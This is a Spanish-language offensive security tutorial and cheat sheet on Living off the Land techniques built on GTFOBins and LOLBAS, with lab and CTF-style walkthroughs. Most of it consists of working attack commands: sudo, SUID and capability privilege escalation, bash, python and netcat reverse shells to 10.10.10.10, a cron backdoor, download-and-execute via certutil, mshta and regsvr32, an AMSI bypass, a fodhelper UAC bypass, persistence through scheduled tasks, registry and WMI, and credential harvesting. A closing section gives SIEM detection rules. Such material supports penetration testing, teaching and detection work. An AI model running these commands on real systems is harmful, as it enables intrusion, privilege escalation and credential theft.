Living off the Land
Los atacantes no siempre necesitan malware. Los binarios legítimos del sistema operativo pueden usarse para obtener shells, descargar payloads, exfiltrar datos y escalar privilegios sin levantar alertas. Este es el concepto Living off the Land.
El concepto Living off the Land
Cuando un atacante usa certutil.exe o tar para descargar un payload, el antivirus ve una herramienta del sistema haciendo algo para lo que fue diseñada. No hay firma maliciosa. El ruido es cero.
Binarios y Técnicas por Categoría
| Categoría | GTFOBins (Linux) | LOLBAS (Windows) |
|---|---|---|
| Shell | tar, awk, vim, python, find | cmd, powershell, wscript |
| Download | python, perl, openssl, ruby | certutil, bitsadmin, powershell |
| File R/W | tee, dd, cp, awk | esentutl, robocopy, xcopy |
| Privesc | find, env, nmap (old), bash | mshta, regsvr32, rundll32 |
| Bypass | env, flock, nsenter | msbuild, installutil, cmstp |
GTFOBins (Get The F*** Off Binaries) es una lista curada de binarios Unix que pueden ser explotados para escapar de entornos restringidos, escalar privilegios o transferir archivos cuando el atacante ya tiene un foothold en el sistema. Cada binario muestra todas sus funciones abusables.
¿Qué binarios cubre?
GTFOBins cubre más de 300 binarios Unix/Linux: desde herramientas de administración habituales (find, awk, python, vim, tar, curl) hasta intérpretes, compiladores y utilidades del sistema. Para cada binario lista todas las formas en que puede ser abusado según el contexto.
# 1. Encontrar binarios SUID en el sistema find / -perm -u=s -type f 2>/dev/null /usr/bin/find /usr/bin/python3.8 /usr/bin/vim.basic # 2. Buscar ese binario en GTFOBins https://gtfobins.github.io/gtfobins/find/ → ver qué funciones tiene: Shell, SUID, Sudo, File Write... # 3. Aplicar el payload correspondiente # Ejemplo: find con SUID para obtener shell root find . -exec /bin/bash -p \; -quit bash-5.1# whoami root
Categorías de abuso en GTFOBins
| Categoría | Qué permite | Contexto típico |
|---|---|---|
| Shell | Obtener una shell interactiva | Escapar de entornos restringidos (rbash, editors...) |
| Sudo | Escalar privilegios via sudo | Cuando el usuario puede hacer sudo del binario |
| SUID | Ejecutar comandos como root | Binario con bit SUID activado |
| Capabilities | Aprovechar capabilities de Linux | Binario con cap_setuid u otras capabilities |
| File Write | Escribir archivos arbitrarios | Sobrescribir /etc/passwd, cron, authorized_keys |
| File Read | Leer archivos arbitrarios | Leer /etc/shadow, claves privadas, configs |
| File Download | Descargar archivos externos | Traer herramientas al sistema comprometido |
| SMTP / Bind / Reverse | Comunicaciones de red | Tunneling, exfiltración, reverse shells |
LOLBAS (Living Off the Land Binaries, Scripts and Libraries) es el equivalente Windows de GTFOBins. Documenta binarios, scripts y librerías nativas de Windows que pueden usarse para ejecutar código, descargar archivos, bypasear defensas o mantener persistencia — sin instalar ninguna herramienta externa.
Categorías LOLBAS
| Categoría | Qué permite | Ejemplo de binario |
|---|---|---|
| Execute | Ejecutar código arbitrario o scripts | mshta.exe, wscript.exe, cscript.exe, rundll32.exe |
| Download | Descargar archivos desde internet | certutil.exe, bitsadmin.exe, curl.exe |
| Bypass | Evadir UAC, AppLocker o antivirus | msiexec.exe, regsvr32.exe, installutil.exe |
| Copy | Copiar y mover archivos con privilegios | esentutl.exe, robocopy.exe |
| Credentials | Extraer credenciales del sistema | cmdkey.exe, vaultcmd.exe |
| Persistence | Mantener acceso tras reinicios | schtasks.exe, reg.exe, sc.exe |
| Reconnaisance | Recopilar información del sistema | nltest.exe, dsquery.exe, net.exe |
## Ver qué binarios LOLBAS están disponibles en el sistema where certutil mshta wscript cscript bitsadmin 2>nul ## Certutil — descargar archivo (muy usado) certutil.exe -urlcache -split -f http://servidor/archivo.exe C:\temp\archivo.exe ## Mshta — ejecutar script remoto mshta.exe http://servidor/script.hta ## Regsvr32 — bypass AppLocker (squiblydoo) regsvr32.exe /s /n /u /i:http://servidor/file.sct scrobj.dll ## Consultar LOLBAS online https://lolbas-project.github.io/
Mapa de qué binarios sirven para qué en cada plataforma. Útil para buscar rápidamente qué opciones tienes en un sistema comprometido.
Matriz Linux — Binarios por función
Cuando tienes acceso limitado a un sistema (rbash, entorno restringido, editor de texto, paginador) estos binarios permiten escapar a una shell completa. Es la técnica más básica pero fundamental.
# perl perl -e 'exec "/bin/bash -p";' # ruby ruby -e 'exec "/bin/bash -p"' # node node -e 'require("child_process").spawn("/bin/bash",["-p"],{stdio:[0,1,2]})' # nmap (versiones antiguas) nmap --interactive nmap> !sh # man — escape desde el paginador man man # luego: !/bin/bash # env env /bin/bash -p # tclsh tclsh % exec /bin/bash -p
Cuando un usuario tiene permiso para ejecutar un binario concreto como root con sudo, GTFOBins muestra cómo abusar de esa configuración para obtener una shell root o leer archivos privilegiados.
sudo -l para ver qué puede ejecutar el usuario actual como root. Cualquier binario en esa lista que aparezca en GTFOBins es un vector de escalada.# PASO 1: Ver qué puedes hacer con sudo sudo -l Matching Defaults entries for www-data on servidor: env_reset, mail_badpass User www-data may run the following commands on servidor: (ALL : ALL) NOPASSWD: /usr/bin/vim (ALL : ALL) NOPASSWD: /usr/bin/find # PASO 2: Buscar esos binarios en GTFOBins → sección Sudo # vim con sudo → shell root sudo vim -c ':!/bin/bash' root@servidor:~# whoami root # find con sudo → shell root sudo find / -exec /bin/bash \; -quit # python con sudo → shell root sudo python3 -c 'import os; os.system("/bin/bash")' # awk con sudo → shell root sudo awk 'BEGIN {system("/bin/bash")}' # curl con sudo → leer archivo privilegiado sudo curl file:///etc/shadow root:$6$hash...:18700:0:99999:7::: # tar con sudo → shell root sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash # less con sudo → shell root (escribir !bash dentro) sudo less /etc/passwd # cp con sudo → sobreescribir /etc/passwd o /etc/sudoers echo 'hacker:x:0:0::/root:/bin/bash' | sudo cp /dev/stdin /etc/passwd
El bit SUID hace que un binario se ejecute con los permisos de su propietario (generalmente root), independientemente del usuario que lo ejecute. Si ese binario aparece en GTFOBins, puede usarse para escalar a root.
# PASO 1: Buscar todos los binarios con SUID en el sistema find / -perm -u=s -type f 2>/dev/null /usr/bin/find /usr/bin/python3.8 /usr/bin/pkexec /usr/bin/passwd # Alternativa más limpia (solo mostrando los interesantes) find / -perm -4000 -type f 2>/dev/null | xargs ls -la 2>/dev/null # PASO 2: Para cada binario interesante, buscar en GTFOBins → SUID # find con SUID → shell root con -p (preservar privilegios) find . -exec /bin/bash -p \; -quit bash-5.1# id uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) # python3 con SUID python3 -c 'import os; os.execl("/bin/bash","/bin/bash","-p")' # vim con SUID vim -c ':py3 import os; os.execl("/bin/bash","/bin/bash","-pc","reset; exec bash -p")' # cp con SUID → modificar /etc/passwd para añadir usuario root echo 'newroot::0:0:root:/root:/bin/bash' >> /tmp/passwd cp /tmp/passwd /etc/passwd su newroot # bash con SUID (el más directo) bash -p bash-5.1# whoami root # NOTA: -p es necesario para preservar el euid root con bash
Muchos binarios permiten leer o escribir archivos arbitrarios del sistema aunque el usuario no tenga permisos directos. Útil para leer /etc/shadow, escribir en authorized_keys o modificar /etc/passwd.
## LECTURA DE ARCHIVOS # vim — leer archivo privilegiado vim /etc/shadow # less / more — leer sudo less /etc/shadow sudo more /etc/shadow # python — leer python3 -c 'print(open("/etc/shadow").read())' # awk — leer awk '{print}' /etc/shadow # curl — leer sudo curl file:///etc/shadow # tee — leer (como stdin y reescribir) sudo tee /etc/shadow ## ESCRITURA DE ARCHIVOS — vectores de escalada # Añadir clave SSH a root echo "ssh-rsa AAAA..." | sudo tee -a /root/.ssh/authorized_keys # Modificar /etc/passwd para añadir usuario sin contraseña echo 'hax:x:0:0::/root:/bin/bash' | sudo tee -a /etc/passwd su hax # Escribir cron como root echo '* * * * * root /bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' | \ sudo tee /etc/cron.d/backdoor # Sobreescribir /etc/sudoers echo 'user ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers
Binarios para descargar herramientas al sistema comprometido, exfiltrar datos o crear canales de comunicación — usando solo lo que ya está instalado en el sistema.
## DESCARGA DE ARCHIVOS # curl curl http://10.10.10.10/linpeas.sh -o /tmp/linpeas.sh curl http://10.10.10.10/linpeas.sh | bash # directo en memoria # wget wget http://10.10.10.10/linpeas.sh -O /tmp/linpeas.sh # python — servidor HTTP simple (para compartir archivos) python3 -m http.server 8080 # python — descargar python3 -c 'import urllib.request; urllib.request.urlretrieve("http://10.10.10.10/file","file")' # nc (netcat) — transferir archivo # Receptor: nc -lvnp 4444 > archivo_recibido # Emisor: nc 10.10.10.10 4444 < archivo_a_enviar ## REVERSE SHELLS con binarios del sistema # bash TCP reverse shell bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 # python reverse shell python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' # nc — si tiene -e nc -e /bin/bash 10.10.10.10 4444 # nc — sin -e (versión GNU) rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.10.10 4444 >/tmp/f
Las capabilities de Linux son una forma de dividir los privilegios de root en unidades más pequeñas. Si un binario tiene capabilities peligrosas como cap_setuid o cap_dac_override, puede usarse para escalar privilegios sin que tenga el bit SUID.
# PASO 1: Buscar binarios con capabilities getcap -r / 2>/dev/null /usr/bin/python3.8 = cap_setuid+ep /usr/bin/perl = cap_setuid+ep /usr/bin/ruby = cap_setuid+ep /usr/bin/node = cap_net_bind_service+ep # PASO 2: Explotar cap_setuid — cambiar UID a 0 (root) # python3 con cap_setuid python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' # perl con cap_setuid perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";' # ruby con cap_setuid ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"' # CAPABILITIES PELIGROSAS cap_setuid → cambiar UID → acceso root directo cap_setgid → cambiar GID cap_dac_override → ignorar comprobaciones de permisos de archivos cap_net_bind_service → enlazar puertos < 1024 (no escalada directa) cap_net_raw → crear paquetes raw (sniffing posible) cap_sys_admin → privilegios de administración → casi equivale a root
Binarios nativos de Windows que permiten ejecutar código arbitrario, scripts o comandos — especialmente útiles para bypasear restricciones de AppLocker o políticas de ejecución de PowerShell.
## MSHTA — ejecutar VBScript/JScript/HTA mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd.exe"",0,True") mshta.exe http://servidor/payload.hta ## RUNDLL32 — cargar DLL y ejecutar función rundll32.exe shell32.dll,ShellExec_RunDLL cmd.exe rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("...") ## REGSVR32 — bypass AppLocker (squiblydoo) regsvr32.exe /s /n /u /i:http://servidor/file.sct scrobj.dll ## WSCRIPT / CSCRIPT — ejecutar scripts wscript.exe C:\Users\Public\script.vbs cscript.exe C:\Users\Public\script.js ## MSIEXEC — instalar MSI malicioso msiexec.exe /q /i http://servidor/payload.msi ## FORFILES — ejecutar comandos forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c calc.exe" ## PCALUA — Application Compatibility pcalua.exe -a cmd.exe -c "whoami" ## POWERSHELL — bypass de política de ejecución powershell -ExecutionPolicy Bypass -File script.ps1 powershell -EncodedCommand BASE64_COMMAND powershell -Nop -NonInteractive -W Hidden -Exec Bypass -Enc PAYLOAD
Binarios nativos de Windows para descargar archivos desde internet o transferirlos entre sistemas — sin instalar ninguna herramienta adicional.
## CERTUTIL — el más usado, muy detectado por EDR certutil.exe -urlcache -split -f http://servidor/file.exe C:\temp\file.exe # Codificación Base64 (para evadir detección) certutil.exe -urlcache -f http://servidor/file.b64 C:\temp\file.b64 certutil.exe -decode C:\temp\file.b64 C:\temp\file.exe ## BITSADMIN — Background Intelligent Transfer Service bitsadmin /transfer miJob /download /priority normal http://servidor/file.exe C:\temp\file.exe ## POWERSHELL — múltiples métodos Invoke-WebRequest -Uri http://servidor/file.exe -OutFile C:\temp\file.exe IEX (New-Object Net.WebClient).DownloadString("http://servidor/script.ps1") (New-Object Net.WebClient).DownloadFile("http://servidor/file.exe","C:\temp\file.exe") ## CURL (disponible en Windows 10+) curl.exe -o C:\temp\file.exe http://servidor/file.exe ## WGET (disponible en Windows 10+) wget.exe -O C:\temp\file.exe http://servidor/file.exe ## MSIEXEC — descargar y ejecutar MSI directamente msiexec.exe /q /i http://servidor/payload.msi ## DESCARGAR CON SMBRELAY (red interna) copy \\10.10.10.10\share\file.exe C:\temp\file.exe net use Z: \\10.10.10.10\share && copy Z:\file.exe C:\temp\
Técnicas con binarios nativos para evadir UAC, AppLocker, AMSI y políticas de seguridad — sin necesidad de exploits o herramientas externas.
## BYPASS DE AMSI (Anti-Malware Scan Interface) [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ## BYPASS DE APPLOCKER — usar binarios de confianza # regsvr32 — no comprueba AppLocker regsvr32 /s /n /u /i:http://servidor/file.sct scrobj.dll # installutil — no está en la política por defecto C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /logtoconsole=false /U shell.exe # msbuild — compila y ejecuta C# inline C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml ## BYPASS DE UAC (User Account Control) # fodhelper.exe — bypass UAC clásico (Win 10) New-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force New-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(default)" -Value "cmd /c start cmd.exe" -Force Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden ## BYPASS DE CONSTRAINTED LANGUAGE MODE (PowerShell) PowerShell -version 2 # PowerShell v2 no tiene CLM
Técnicas con herramientas nativas de Windows para mantener acceso al sistema tras reinicios — sin instalar software adicional.
## SCHTASKS — tareas programadas schtasks /create /tn "WindowsUpdate" /tr "C:\temp\backdoor.exe" /sc onstart /ru SYSTEM schtasks /create /tn "UpdateCheck" /tr "powershell -c IEX(IWR http://c2/ps.ps1)" /sc hourly ## REGISTRO — autorun keys reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "WinUpdate" /t REG_SZ /d "C:\temp\backdoor.exe" /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "userinit.exe,C:\temp\backdoor.exe" /f ## SERVICIOS — sc.exe sc create WinSvc binpath= "C:\temp\backdoor.exe" start= auto sc start WinSvc ## WMI — persistencia via WMI Event Subscription $filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance() $filter.Name = "WMIPersist" $filter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" $filter.QueryLanguage = "WQL" $filter.EventNamespace = "root\cimv2" $filter.Put() ## BITS — persistencia via BITSAdmin bitsadmin /create /download PersistJob bitsadmin /addfile PersistJob http://c2/update.exe C:\temp\update.exe bitsadmin /SetNotifyCmdLine PersistJob C:\temp\update.exe NULL bitsadmin /resume PersistJob
Herramientas nativas de Windows para localizar y extraer credenciales almacenadas en el sistema sin necesitar herramientas externas como Mimikatz.
## CMDKEY — ver credenciales guardadas en el sistema cmdkey /list Currently stored credentials: Target: Domain:target=SERVIDOR\Administrador Type: Domain Password User: SERVIDOR\Administrador ## RUNAS CON CREDENCIALES GUARDADAS runas /savecred /user:SERVIDOR\Administrador cmd.exe ## VAULTCMD — Windows Credential Manager vaultcmd /listcreds:"Windows Credentials" /all ## BUSCAR CONTRASEÑAS EN ARCHIVOS findstr /si password *.txt *.ini *.config *.xml 2>nul findstr /si "password\|pass\|pwd\|secret" C:\*.xml C:\*.ini C:\*.txt 2>nul dir /s /b *pass* *cred* *vnc* *.config 2>nul ## REGISTRO — credenciales WinAutologon reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword ## CREDENCIALES DE APLICACIONES reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s # PuTTY sessions reg query "HKCU\Software\OpenSSH\Agent\Keys" # SSH keys en el agente
Escenario realista: un usuario con permiso de ejecutar tar como root via sudo. Demostra la explotación paso a paso usando la técnica de checkpoint de GTFOBins.
Objetivo: usuario www-data tiene sudo para tar. Obtener una shell root usando GTFOBins.
## SETUP DEL ESCENARIO (como root para preparar el lab) echo "www-data ALL=(ALL) NOPASSWD: /bin/tar" >> /etc/sudoers su www-data ## RECONOCIMIENTO whoami www-data sudo -l User www-data may run the following commands: (ALL) NOPASSWD: /bin/tar ## EXPLOTACIÓN — via checkpoint-action sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash bash-5.1# whoami root bash-5.1# id uid=0(root) gid=0(root) groups=0(root) ## ALTERNATIVA: obtener clave SSH de root sudo tar -cf /tmp/shadow.tar /etc/shadow && tar xf /tmp/shadow.tar -C /tmp/ cat /tmp/etc/shadow
Escenario Windows: usar certutil para descargar una herramienta en un sistema donde PowerShell está bloqueado por AppLocker pero certutil está permitido.
Objetivo: descargar un ejecutable en Windows usando solo certutil cuando no hay acceso a PowerShell ni navegador.
## ESCENARIO: tenemos una shell CMD, PowerShell bloqueado powershell Access denied by AppLocker policy ## VERIFICAR que certutil está disponible where certutil C:\Windows\System32\certutil.exe ## DESCARGAR HERRAMIENTA certutil.exe -urlcache -split -f http://10.10.10.10:8080/nc.exe C:\Windows\Temp\nc.exe **** Online **** CertUtil: -URLCache command completed successfully. ## EJECUTAR C:\Windows\Temp\nc.exe -e cmd.exe 10.10.10.10 4444 ## ALTERNATIVA: codificar en base64 para evadir detección # En el servidor atacante, codificar el binario: certutil -encode nc.exe nc.b64 # En la víctima, descargar y decodificar: certutil -urlcache -f http://10.10.10.10/nc.b64 C:\Temp\nc.b64 certutil -decode C:\Temp\nc.b64 C:\Temp\nc.exe
Escenario Linux: awk tiene el bit SUID activado por error de configuración. Obtener shell root.
Objetivo: explotar el bit SUID en awk para obtener una shell root usando GTFOBins.
## SETUP DEL ESCENARIO sudo chmod u+s /usr/bin/awk su usuario_bajo_privilegio ## VERIFICAR EL SUID ls -la /usr/bin/awk -rwsr-xr-x 1 root root 220K Jan 15 2024 /usr/bin/awk ## EXPLOTACIÓN — system() con bash -p para preservar euid awk 'BEGIN {system("/bin/bash -p")}' bash-5.1# id uid=1000(usuario) gid=1000(usuario) euid=0(root) groups=1000(usuario) bash-5.1# whoami root ## LEER /etc/shadow DIRECTAMENTE awk '{print}' /etc/shadow root:$6$rSNdOXO6$5V...:19000:0:99999:7::: user:$6$aB3kLm9p$7G...:19000:0:99999:7::: ## LIMPIAR (restaurar SUID después del lab) sudo chmod u-s /usr/bin/awk
Escenario Windows: usar mshta para ejecutar un payload cuando PowerShell y cmd están bloqueados por políticas.
Objetivo: usar mshta para ejecutar un reverse shell cuando los métodos habituales están bloqueados.
## CREAR EL ARCHIVO HTA EN EL SERVIDOR ATACANTE cat > /tmp/shell.hta << 'EOF' <html><head> <script language="VBScript"> Sub Window_Onload Set oShell = CreateObject("Wscript.Shell") oShell.Run "cmd /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c ""IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/ps.ps1')""", 0, True self.close End Sub </script> </head><body></body></html> EOF python3 -m http.server 80 ## EN LA MÁQUINA VÍCTIMA (CMD) mshta.exe http://10.10.10.10/shell.hta ## ALTERNATIVA INLINE SIN ARCHIVO HTA mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd /c whoami > C:\temp\out.txt"",0,True:window.close")
Escenario realista completo: reconocimiento, identificación de vector, explotación y post-explotación usando GTFOBins. Basado en un escenario típico de CTF o máquina de HackTheBox.
Tienes acceso como usuario developer con contraseña. Objetivo: obtener root usando técnicas GTFOBins.
## FASE 1: RECONOCIMIENTO INICIAL whoami && id && hostname developer uid=1001(developer) gid=1001(developer) groups=1001(developer),33(www-data) # Ver sudo sudo -l (root) NOPASSWD: /usr/bin/python3 /opt/backup.py # Buscar SUID find / -perm -4000 -type f 2>/dev/null /usr/bin/find /usr/bin/passwd # Buscar capabilities getcap -r / 2>/dev/null /usr/bin/python3.9 = cap_setuid+ep ## FASE 2: ANÁLISIS — tenemos 3 vectores potenciales 1. sudo python3 /opt/backup.py → ¿podemos modificar el script? 2. find con SUID 3. python3 con cap_setuid # Verificar si podemos escribir backup.py ls -la /opt/backup.py -rw-rw-r-- 1 root developer 45 Jan 15 2024 /opt/backup.py # developer puede escribir en backup.py ## FASE 3: EXPLOTACIÓN VÍA SCRIPT SUDO echo 'import os; os.system("/bin/bash")' > /opt/backup.py sudo python3 /opt/backup.py root@servidor:~# whoami root ## ALTERNATIVA: explotar cap_setuid directamente python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' ## FASE 4: POST-EXPLOTACIÓN cat /etc/shadow | grep -v ':\*\|:!' | cut -d: -f1,2 cat /root/root.txt # flag de CTF cat /root/.ssh/id_rsa # clave SSH de root
Detectar LOTL es difícil pero posible con las reglas correctas en el SIEM y agentes de monitorización de comportamiento.
Reglas de Detección Clave
## Windows: certutil descargando archivos process_name=certutil.exe AND cmdline CONTAINS "-urlcache" AND network_connection=true ## Windows: mshta ejecutando URL remota process_name=mshta.exe AND cmdline CONTAINS "http" ## Windows: PowerShell IEX fileless process_name=powershell.exe AND cmdline CONTAINS "IEX" AND cmdline CONTAINS "DownloadString" ## Linux: tar con checkpoint-action generando shell parent_process=tar AND child_process IN (bash,sh) AND user=root ## Linux: awk/find generando bash como root parent_process IN (awk,find,vim) AND child_process=bash AND uid=0
IOCs por Técnica
| Técnica | IOC a monitorizar | Criticidad |
|---|---|---|
| certutil download | certutil.exe + red saliente + .exe descargado | ALTO |
| mshta HTA remoto | mshta.exe + argumento http:// | CRÍTICO |
| PowerShell IEX | powershell + IEX + DownloadString | ALTO |
| tar wildcard | tar generando proceso hijo sh/bash como root | CRÍTICO |
| regsvr32 SCT | regsvr32 + scrobj.dll + URL externa | CRÍTICO |
Cheatsheet completo para GTFOBins y LOLBAS. Úsalo como referencia durante CTFs y auditorías.
🐧 GTFOBins — Linux
- Enumerar SUID:
find / -perm -4000 -type f 2>/dev/null - Listar sudo:
sudo -l→ cruzar con gtfobins.github.io - Detectar capabilities:
getcap -r / 2>/dev/null - tar sudo:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh - awk sudo:
sudo awk 'BEGIN {system("/bin/bash")}' - find SUID:
find . -exec /bin/bash -p \; -quit - python3 cap_setuid:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' - vim sudo:
sudo vim -c ':!/bin/bash' - tee sudo:
echo payload | sudo tee -a /etc/passwd - Descargar sin curl:
python3 -c "import urllib.request; urllib.request.urlretrieve('URL','/tmp/f')" - Bash /dev/tcp:
bash -c 'cat < /dev/tcp/IP/PORT > /tmp/f' - tar wildcard: crear
--checkpoint=1y--checkpoint-action=exec=bash shell.shcomo ficheros
🪟 LOLBAS — Windows
- certutil download:
certutil -urlcache -f URL FILE - certutil encode/decode:
certutil -encode src out.b64/certutil -decode out.b64 src - PowerShell fileless:
IEX(New-Object Net.WebClient).DownloadString('URL') - mshta HTA:
mshta.exe http://ATACANTE/evil.hta - regsvr32 SCT:
regsvr32 /s /n /u /i:URL scrobj.dll - msbuild:
msbuild.exe payload.csproj - bitsadmin:
bitsadmin /transfer j /download /priority HIGH URL FILE - wmic XSL:
wmic os get /format:"http://ATACANTE/evil.xsl" - Persistencia:
reg add HKCU\...\Run /v key /t REG_SZ /d "payload" - Reconocimiento:
systeminfo && whoami /priv && wmic qfe list
Recursos Esenciales
- GTFOBins: gtfobins.github.io
- LOLBAS: lolbas-project.github.io
- MITRE ATT&CK: attack.mitre.org (T1218, T1548, T1105, T1197)
- Sigma Rules: github.com/SigmaHQ/sigma
- PayloadsAllTheThings: github.com/swisskyrepo/PayloadsAllTheThings